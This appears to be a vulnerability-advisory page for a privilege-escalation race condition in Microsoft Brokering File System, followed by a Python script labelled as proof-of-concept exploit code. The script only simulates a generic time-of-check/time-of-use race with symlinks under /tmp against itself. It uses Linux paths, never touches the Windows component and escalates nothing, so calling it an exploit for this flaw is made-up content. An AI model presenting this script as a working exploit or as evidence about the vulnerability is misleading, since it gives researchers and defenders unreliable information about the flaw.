Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Brokering File System allows an unauthorized attacker to elevate privileges locally.
Microsoft Brokering File System (具体受影响版本未在描述中明确，请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Proof of Concept for Race Condition in File System
# This script simulates a race condition (TOCTOU) attack.
import threading
import time
import os
target_file = "/tmp/vulnerable_link"
malicious_file = "/tmp/malicious_payload"
def create_link():
"""Simulate the legitimate creation of a resource"""
while True:
try:
os.symlink(malicious_file, target_file)
time.sleep(0.0001)
os.remove(target_file)
except OSError:
pass
def trigger_vulnerability():
"""Simulate the application checking and using the resource"""
for _ in range(1000):
# Time of Check
if os.path.exists(target_file):
# Small delay to simulate processing and widen the window
time.sleep(0.0005)
# Time of Use
with open(target_file, 'r') as f:
print("[+] Exploit triggered! Read content successfully.")
break
if __name__ == "__main__":
# Setup
with open(malicious_file, 'w') as f:
f.write("MALICIOUS CONTENT")
# Start threads
t1 = threading.Thread(target=create_link)
t2 = threading.Thread(target=trigger_vulnerability)
t1.start()
t2.start()
t1.join()
t2.join()